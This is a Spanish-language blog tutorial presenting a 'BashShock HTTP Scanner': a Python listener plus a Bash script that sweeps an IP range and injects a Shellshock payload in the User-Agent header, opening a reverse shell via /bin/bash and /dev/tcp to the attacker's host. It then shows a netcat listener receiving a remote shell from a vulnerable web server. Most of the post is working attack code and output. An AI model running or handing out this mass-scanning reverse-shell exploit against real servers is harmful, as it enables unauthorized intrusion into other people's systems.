Esta pagina se ve mejor con JavaScript habilitado

BashShock HTTP Scanner

 ·  🎃 kr0m

Como ya comentamos en una ocasión anterior es posible explotar el bug bash shock en servidores web si la ejecución del interprete php se hace mediante un wrapper escrito en bash, pero primero debemos localizar dichos servidores, en esta ocasión vamos a utilizar exactamente la misma técnica explicada en el artículo anterior pero esta vez no pondremos un netcat a la escucha con el que recoger la conexión si no que pondremos un script en python que nos mostrará que ips intentan conectar, de este modo tendremos un script que intenta aprovechar la vulnerabilidad y otro que mostrará donde se ha ejecutado con éxito.

El script que pondremos a la escucha es:

vi python_server_socket.py

import socket
s = socket.socket()
print "-- Socket successfully created"
port = 4141
s.bind(('', port))
print "-- Socket binded to %s" %(port)
s.listen(5)
print "-- Socket is listening"
while True:
    # Establish connection with client.
    c, addr = s.accept()
    print '-- Got connection from', addr
    c.close()
    print '-- Connection closed'

NOTA: Este script se pondrá a la escucha en el puerto 4141, si alguien conecta a este puerto imprimirá la ip y cerrará la conexión.

El script de chequeo del bug es el siguiente:

#!/bin/bash
clear
echo -e "-----------------------------------------------"
echo -e "| BachShock HTTP Scanner v0.1b, coded by Kr0m |"
echo -e "-----------------------------------------------"
echo -e "++ Remember to put the listening script in the configured port"
echo -e "  python2.7 python_server_socket.py "
echo -e " "

if [ $# -ne 2 ]; then
        echo -e "-- Invalid number of arguments."
        echo -e "bashshock_http_scanner.sh FIRST_IP LAST_IP"
        echo -e " "
        exit
fi

HOST="192.168.20.1"
PORT="4141"

IP="$1"
IP2="$2"

STAT=1
STAT2=1

if [[ $IP =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
        OIFS=$IFS
        IFS='.'
        IP=($IP)
        IFS=$OIFS
        [[ ${IP[0]} -le 255 && ${IP[1]} -le 255 && ${IP[2]} -le 255 && ${IP[3]} -le 255 ]]
        STAT=$?
fi

if [ $STAT == '1' ]; then
        echo -e "-- First IP: $1 -- INVALID, aborting"
        exit
else
        echo -e "-- First IP: $1 -- VALID"
fi

if [[ $IP2 =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
        OIFS=$IFS
        IFS='.'
        IP2=($IP2)
        IFS=$OIFS
        [[ ${IP2[0]} -le 255 && ${IP2[1]} -le 255 && ${IP2[2]} -le 255 && ${IP2[3]} -le 255 ]]
        STAT2=$?
fi

if [ $STAT2 == '1' ]; then
        echo -e "-- Second IP: $2 -- INVALID, aborting"
        exit
else
        echo -e "-- Second IP: $2 -- VALID"
fi

IFS=. read -r a b c d <<< "$1"
INT=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")

IFS=. read -r a b c d <<< "$2"
INT2=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")

#echo -e "-- INT: $INT"
#echo -e "-- INT2: $INT2"

if [ "$INT2" -ge "$INT" ]; then
        echo -e "-- Valid IP Range"
else
        echo -e "-- Invalid IP Range, aborting"
        exit
fi

echo -e " "

while [ $INT -le $INT2 ]; do
        A=$(echo -n $(($(($(($((${INT}/256))/256))/256))%256)).)
        B=$(echo -n $(($(($((${INT}/256))/256))%256)).)
        C=$(echo -n $(($((${INT}/256))%256)).)
        D=$(echo $((${INT}%256)))
        echo -e "=============================================================="
        echo -e "++ Scanning IP: $A$B$C$D"
        curl -m 6 -k -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/'$HOST'/'$PORT' 0>&1' http://$A$B$C$D/ -s -o /dev/null &
        let INT=$INT+1
done
echo -e "=============================================================="

Si el script encuentra algún servidor vulnerable en la consola donde tenemos el python nos aparecerá algo tal que así:

-- Socket successfully created
-- Socket binded to 4141
-- Socket is listening
-- Got connection from ('192.168.20.27', 60223)
-- Connection closed

Podemos ver como el servidor 192.168.20.27 es vulnerable a dicho ataque, ahora tan solo rejecutamos el ataque como en el artículo anterior y ya tenemos shell ;)

Ponemos a la escucha netcat:

nc -l -p 8080

Explotamos la vulnerabilidad:

python2.7 bashshoc.py 192.168.20.27 /index.php 192.168.20.1/8080

En la shell con el netcat recibimos la shell remota:

nc -l -p 8080
web_prueba@RX3 /var/www/bin/web_pruebas $

Este script solo funcionará si el fichero de index del server es interpretado a través del wrapper, puede darse el caso en el que el index sea html claro pero tenga otras partes escritas en php por ejemplo.

Si te ha gustado el artículo puedes invitarme a un RedBull aquí